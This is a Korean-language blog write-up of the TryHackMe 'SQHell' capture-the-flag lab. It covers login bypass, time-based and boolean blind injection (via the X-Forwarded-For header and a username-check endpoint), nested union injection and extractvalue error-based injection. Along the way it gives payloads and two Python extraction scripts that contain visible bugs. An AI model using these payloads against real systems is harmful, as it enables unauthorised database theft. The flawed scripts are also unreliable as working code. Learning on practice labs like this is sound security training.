*https://tryhackme.com/r/room/sqhell
SQHell
Try and find all the flags in the SQL Injections
tryhackme.com
[1]Reconnaissance
There are 5 flags to find but you have to defeat the different SQL injection types.
Hint: Unless displayed on the page the flags are stored in the flag table in the flag column.
-5개 타입의 SQLi 취약점을 찾아 플래그를 획득하면 되며, 페이지에 표시되지 않는 한 플래그는 "flag" column 에 있는 "flag" table에 저장됩니다.
-'페이지에 표시되지 않는 한'이라면 Blind SQLi 같은 경우를 말하는 것 같습니다.
-사실 현재 DB를 database()로 추출하고 information_schema.tables where table_schema='{DB_name}' 으로 검색하면 테이블 이름을 획득하고 마찬가지로 information_schema.columns where table_name='{TABLE_name}' 으로 검색하여 column 들을 하나씩 조회해서 찾을 수 있긴 하지만 수고를 덜어주시려고 알려주신 것 같네요.
page Analysis
[1]main page
-Login 버튼([3])과 Register([2]) 버튼
-'admin' 이용자가 쓴 포스팅 두 가지
-Road More 는 게시글로 이동하는 앵커 태그
-Term & Conditions 를 읽을 수 있는 페이지로 이동할 수 있도록 연결된 앵커 태그
[2]Register Form
-계정을 등록하는 페이지인데, 계정을 새로 등록할 수는 없습니다.
-Username을 사용할 수 있는지 확인하는 기능도 있는 것 같습니다.
[3]Login Form
-일반적인 로그인 폼입니다.
[4]User Page
-[1]main page의 'admin'을 클릭하면 이동되는 페이지입니다. GET 방식으로 user 파라미터에 값을 삽입하여 조회하고 있습니다.
[5]View Post
-admin 포스팅 두 가지입니다. 중요한 내용이 있지는 않습니다.
[7]Terms & Conditions
-3번 분석 목적을 위해 IP 주소를 수집한다는 것이 조금 중요해보입니다.
[2]Vulnerability&Exploit
SQL injeciton(FLAG 1)
-SQLi 취약점은 공격자가 악의적인 SQL 구문을 삽입하고 실행시키는 취약점입니다.
-update나 delete 구문의 updateexaml을 이용한 Error based SQL Injection이나 웹 셸 삽입 공격, 서버를 망치기 위해 삭제하는 구문에서 SQLi를 발생시킬 수도 있지만 가장 SQLi 취약점이 많이 일어나는 곳은 정보를 조회하는 select 구문이 사용되는 곳입니다.
-간단한 예시로, admin이란 계정이 존재하며 select id, pw from user where id='{id_input}' and pw='{pw_input}' 을 사용하여 인증과 식별 기능을 수행하는 로그인 로직이 있고 입력값을 그대로 삽입한다면, id_input에 admin'-- 을 삽입하여 single quote(')로 구문을 잠그고 Mysql의 주석(-- )로 뒷 구문 and pw='{pw_input}' 을 삭제하여 비밀번호를 몰라도 admin 계정으로 로그인할 수 있게 됩니다.
*SQLi : https://x4uiry.tistory.com/17
SQL Injection
[1]IntroductionSQL Injeciton이란?SQL injeciton이란 데이터 베이스에 악의적인 쿼리를 삽입하여 데이터 베이스를 조작하는 공격입니다.-Database란 데이터를 체계화시켜 관리되는 데이터집합입니다.-SQL은 St
x4uiry.tistory.com
-따라서 정보를 조회하는 대표적인 기능 로그인 폼부터 살펴보도록 합시다.
-등록되어 있는 사용자 중 알 수 있는 사용자는 게시글을 올린 'admin' 입니다.
-먼저 시도해볼 구문은 아래와 같습니다.
id: admin'--
pw: 4nyth1ng
-만약 이 입력값이 성공하지 못한다면 아래와 같은 이유일 수 있습니다.
(1)로그인 로직이 입력한 비밀번호와 SQL 결과로 나온 비밀번호를 나중에 비교하는 식별 후 인증 구조
(2)Prepare Statement가 적용되어 있어 입력값에 대한 악의적 조작이 불가능한 경우
(3)'admin'이 사실 username이 아닌 다른 곳에서 생성하는 부가적인 이름인 경우
(4)'admin'이나 single quote('), '-- ' 등이 필터링되는 경우(이 경우 요청 전에 필터링되는 경우도 있으므로 burpsuite로 살펴보아야 합니다.)
-(2),(3),(4)의 경우 다른 부가적 과정이 필요하지만, (1)의 경우는 방법이 있습니다.
-(1)의 경우에는 admin' union select 1, sleep(3)... 등으로 컬럼의 수를 찾고 admin' union 1,2,'this_is_password' 를 입력하고 비밀번호에 'this_is_password'를 전송해보아 로그인이 되는지 확인합니다.
-또한 Blind SQL Injection이 가능할 수도 있으므로 sleep()이나 extractvalue()등 다양한 방법을 생각해볼 수 있습니다.
-admin으로 로그인을 하고 시작하는 건 줄 알았는데, 그냥 이게 한 문제였나 봅니다. FLAG 1을 얻었습니다.
Time Based Blind SQL Injection(FLAG 2)
-terms & conditions 부분을 보면 사이트의 조항들이 나와있습니다. 여기서 세 번째 조항 "We log your IP address for analytics purposes"(분석 목적을 위해 IP 주소를 수집합니다) 부분을 보면 IP를 수집하여 DB에 저장할 가능성이 있다고 생각했습니다.
-왜냐하면 아래의 2번 힌트도 "Make sure to read the terms and conditions ;)" 였으므로 IP를 수집하여 select 구문으로 조회하는 로직이 있다고 생각하면 여기서도 SQLi 취약점이 발생할 수도 있습니다.
-그렇다면 IP를 어떻게 조작할 것인지 생각해야 합니다. 우리의 IP를 SQLi 취약점으로 변경시키기 위해서는 다른 방법도 있을 수 있겠지만 대표적으로 X-Forwarded-For 헤더에 값을 삽입해 전송하는 방법이 있습니다.
-X-Forwarded-For 헤더는 웹 서버에 요청을 보내는 클라이언트의 주소를 전송하는 헤더입니다. 자세히 설명하면 원래 ip와 프록시 ip를 같이사용하여 구분하기도 합니다.
*X-Forwarded-For 헤더 설명: https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-For
X-Forwarded-For - HTTP | MDN
X-Forwarded-For (XFF) 헤더는 HTTP 프록시나 로드 밸런서를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더다. 클라이언트와 서버 중간에서 트래픽이 프록시나 로드
developer.mozilla.org
-이 X-Forwarded-For 헤더에 127.0.0.1을 담아서 /terms-and-conditions 엔드포인트에 전송해보겠습니다.
-전송이 되었으며, 입력값에 대한 출력이 따로 되지는 않는 것 같습니다.
-일단 SQLi가 작동되는지 확인해야 합니다.
X-Forwarded-For: 127.0.0.1' union select 1,2,3....sleep(3)#
-컬럼의 수를 맞추어 sleep(3)을 보내고 만약 작동된다면 SQLi를 시도해볼 수 있을 것 같습니다.
-생각해보니 그냥 127.0.0.1' and sleep(3) and '1'='1 을 전송해도 되었네요.
-사진을 보면 컬럼이 3개인 sleep(3) 구문에서는 약 3300 millisecond, sleep 구문이 없는 경우 281millisecond의 시간차를 보입니다.
-sleep(3)를 삽입했고 결과값으로 3300 millisecond를 받은 것으로 보아 SQLi가 발생함을 알 수 있습니다.
-그렇다면 Blind SQLi가 되는지 확인해야 합니다. 일단 입력값에 대한 결과값이 따로 출력되지 않으므로 Erorr 나 Time 을 기준으로 추출을 시도해야 합니다.
-Time based SQLi는 시간이 오래걸리고 서버 자체에도 부담을 주며 혹시 서버 환경 자체 딜레이에 따른 잘못된 정보추출이 생길 수 있으므로 Error based SQLi를 먼저 도전했습니다.
X-Forwarded-For: 127.0.0.1' union select 1,2,3 where if(({PAYLOAD}), 9e307*2, 1)#
X-Forwarded-For: 127.0.0.1' and (select 1 union select 2 where {PAYLOAD}) and '1'='1
-첫 번째 구문은 9e307*2 로 에러를 발생시키는 방식이고, 두 번째 방식은 select 1 union select 2 구문을 삽입하여 where 조건이 참이라면 구문 자체로 인한 "Erorr 1242 (21000): Subquery returns more than 1 row" 에러가 발생하고, 거짓이라면 에러가 발생하지 않습니다.
-사진에서 볼 수 있듯 에러 구문을 이용하여 상이한 출력값을 발생시키는 것은 실패하였습니다.
-두 번째로 sleep 함수를 이용한 SQL Injeciton을 시도해보겠습니다.
X-Forwarded-For: 127.0.0.1' union select 1,2,3 where if(({PAYLOAD}, sleep(3), 1)#
-시험삼아 PAYLOAD에 참 값인 '1'='1'을 삽입하여 시도해보면, 응답을 받을 때까지 3283millisecond가 걸린 것을 확인할 수 있습니다.
-따라서 이를 활용하여 SQLi을 구조화해야 합니다.
import requests as req
import time
sess = req.Session()
url = 'http://{domain}' #change this!
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"127.0.0.1' union select 1,2,3 where if(({ATTACK})={num}, sleep(3), 1)#"
now = time.time()
res = sess.get(url, headers={"X-Forwarded-For":query)
if((time.time()-now)>3):
number = num
break
elif num>80:
print("No results")
return -1
else:
num += 1
continue
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
query = f"127.0.0.1' union select 1,2,3 where if(({ATTACK})>{mid}, sleep(3), 1)#"
res = sess.get(url, headers={"X-Forwarded-For":query)
if((time.time()-now)>3):
min_ = mid
else:
max_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number,ATTACK)
print("")
-python3 program.py 로 실행 후 select flag from flag 를 입력하면 플래그를 얻을 수 있습니다.
Blind SQL Injection(FLAG 3)
-Register 엔드포인트의 기능중에는 Username의 input 태그에 keyup 이벤트가 발생한다면, jQuery를 이용하여 '/register/user-check?username=' 에 $(this).val() 값을 삽입하여 전송하고, 응답(resp)에 따라 'userstatus' 라는 클래스를 가진 DOM 요소에 준비된 css와 html을 적용하는 기능이 있습니다.
-말을 어렵게 했으나 이는 username의 중복을 막기 위해, input 태그 내에 작성을 하게 되면 jQuery를 이용하여 중복 유무를 응답으로 받고 중복이라면 'Username already taken'을 중복이 아니라면 'Username available'을 출력하는 중복 방지 확인 기능입니다.
*$(this).val() 에서 this는 이벤트가 일어나는 input 태그를 가리킵니다.
-또한 이는 burpsuite로도 잡을 수 있습니다.
-중복되지 않은 값은 true를, 중복된 값은 false를 응답하는데, SQL Injeciton이 가능하다면 이를 기준으로 정보를 추출할 수 있습니다.
-admin 입력값을 기준으로 admin' and '1'='1 을 전송하면 false를, admin' and '1'='2 를 전송하면 ture를 응답받습니다.
-따라서 attack format을 admin' and {payload}로 하여 false 를 받으면 정보를 한 글자씩 추출하는 Blind SQL Injection이 가능합니다.
import requests as req
sess = req.Session()
url = 'http://{domain}' #change this!
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"admin' and (({ATTACK})={num})%23"
now = time.time()
res = sess.get(url+query)
if((time.time()-now)>3):
number = num
break
elif num>80:
print("No results")
return -1
else:
num += 1
continue
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
query = f"admin' and (({ATTACK})>{mid})%23"
res = sess.get(url+query)
if((time.time()-now)>3):
min_ = mid
else:
max_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number,ATTACK)
print("")
Double Union SQL Injection(FLAG 4)
-user 엔드포인트에서는 id 파라미터의 값으로 User Id를 조회하여 User ID, Username, Posts 를 출력합니다.
-입력값을 1 and '1'='1' 로 보내도 같은 결과가 나오는 것을 보아 SQL injection이 가능해 보입니다.
-union select 를 이용해 컬럼 수를 맞춰서 현재 select 문의 컬럼 수를 알아보았습니다. 3개의 컬럼부터 에러가 발생하지 않는 것을 보아 3개의 컬럼을 조회하고 있는 것을 알 수 있습니다.
user?id=38183 union select flag,2,3 from flag
-위와 같은 입력값을 입력했지만 "Cannot find user"를 출력했습니다.
-이론적으로 현재 database에 flag 테이블이 존재하고, flag 컬럼이 존재한다면 에러가 발생하지는 않아야 합니다.
-그래서 아래와 같은 과정으로 컬럼을 직접 조회해보았습니다.
user?id=38183 union select database(), 2, 3
->sqhell_4
user?id=38183 union select table_name, 2, 3 from information_schema.tables where table_schema='sqlhell_4'
->users
*limit 0,1 이후 limit 1,1 을 입력하면 에러가 나는 것을 보아 users 테이블만 존재하는 것 같습니다.
user?id=38183 union select column_name, 2, 3 from information_schema.columns where table_name='users' limit 0,1
->id
user?id=38183 union select column_name, 2, 3 from information_schema.columns where table_name='users' limit 1,1
->username
user?id=38183 union select column_name, 2, 3 from information_schema.columns where table_name='users' limit 2,1
->password
-위의 결과를 보면 조금 이상한 것을 알 수 있습니다. posts에 대한 컬럼은 조회하지 않는데, User 페이지에서는 posts에 대한 결과를 제공합니다. 따라서 id 입력값을 다른 select 구문에 삽입하여 posts에 대한 결과를 가져오는 것을 알 수 있습니다.
-id 컬럼은 첫 번째 입력값이며, 이제 posts 에 대한 select 구문에 SQL Injeciton이 가능한지, 컬럼의 수는 몇 개인지 등을 알아보아야 합니다.
-id 컬럼 부분에 1 and '1'='1' 을 입력해도 id에 1을 입력한 결과인 First Post와 Second Post가 나옵니다. posts 를 가져오는 SQL Queury 구문에도 SQL Injection 취약점이 발생하다는 것입니다.
-두 번째로 컬럼의 수를 확인해야 합니다.
user?id=1314 union select "1 union select 1,2,3", 2, 3
->no result
user?id=1314 union select "1 union select 1,2,3,4", 2, 3
->posts: First post, Second posts, 2
-1 union select 1,2,3,4에 post가 나오는 것을 보니 조회되는 컬럼의 수는 4개이며, 이 중 2번째 결과로 나오는 컬럼은 출력되는 것을 알 수 있습니다.
-검색 시 출력되는 컬럼이 있으므로 아래와 같은 구문으로 flag를 추출할 수 있습니다.
user?id=1314 union select "1 union select 1,flag,3,4 from flag", 2, 3
Error based SQL Injeciton(Or Union SQL Injection)
-post 엔드포인트에서는 id 파라미터의 값을 통해 post를 불러와 게시글을 불러오고 있습니다. 아마 이전 문제인 user 파라미터에 union select sql injection 구문을 삽입하여 posts를 조회할 수 있던 SQL Query 구문인 것 같습니다.
-id 파라미터 값에 1 and '1'='1' 을 입력해도 1을 입력한 것처럼 같은 결과를 보이는 것을 보아 SQL Injection이 가능합니다.
-union 을 이용해 컬럼의 수가 4개인 것도 확인했습니다. 따라서 Union SQL Injection으로 풀 수 있지만 다른 방법을 소개해보겠습니다.
-Error based SQL Injection이란, SQL 질의 결과와 Error 메세지가 화면에 출력될 때, 이를 이용하여 정보를 추출하는 SQLi 방식입니다. 여러가지 방식이 있지만, extractvalue 함수를 이용하여 에러를 출력하여 원하는 정보를 추출하는 방식은 대표적인 Error based SQL Injection 입니다.
-간단히 extractvalue 함수를 설명하자면 아래와 같이 사용되며, xml 데이터 안에서 xpath 표현식과 일치하는 데이터를 추출하는 함수인데, 만약 두 번째 인자가 적절하지 않은 인자인 경우 에러가 발생하게 됩니다.
extractvalue(xml_fragment, xpath_expression)
extractvalue(1, concat(0x3a, (select secret from secret_db)))
-이때 xpath_expression에 0x3a(:) 혹은 '#', ',', '^' 등을 앞에 붙이고 뒤에 원하는 구문을 작성하면 에러 메세지를 통해 조회 결과를 확인할 수 있습니다.
*Erorr based SQLi 참고 : https://x4uiry.tistory.com/17
SQL Injection
[1]IntroductionSQL Injeciton이란?SQL injeciton이란 데이터 베이스에 악의적인 쿼리를 삽입하여 데이터 베이스를 조작하는 공격입니다.-Database란 데이터를 체계화시켜 관리되는 데이터집합입니다.-SQL은 St
x4uiry.tistory.com
-위의 extractvalue 구문을 이용해 flag를 조회하려면 아래와 같은 파라미터 값을 전송해야 합니다.
post?id=1 and extractvalue(1, concat(0x3a, (select flag from flag)))
-하지만 한 번에 FLAG 값이 다 나오지 않습니다. 따라서 mid 함수를 통해 출력하는 길이를 조정하여 두 번에 걸쳐 FLAG를 얻을 수 있습니다.
post?id=1 and extractvalue(1, concat(0x3a, (select mid(flag,1,30) from flag)))
post?id=1 and extractvalue(1, concat(0x3a, (select mid(flag,31,30) from flag)))
[3]Flag
FLAG1
FLAG2
FLAG3
*sqhell3.py 로 했어야 했는데, 이름을 잘못 작성했네요 ㅎㅎ..
FLAG4
FLAG5
'write-up > web' 카테고리의 다른 글
Get Admin 2 (0) | 2024.07.06 |
---|---|
Get Admin 1 (0) | 2024.07.06 |
Steal Info 2 (0) | 2024.06.30 |
Steal Info (0) | 2024.06.29 |
Basic Script Prac (0) | 2024.06.28 |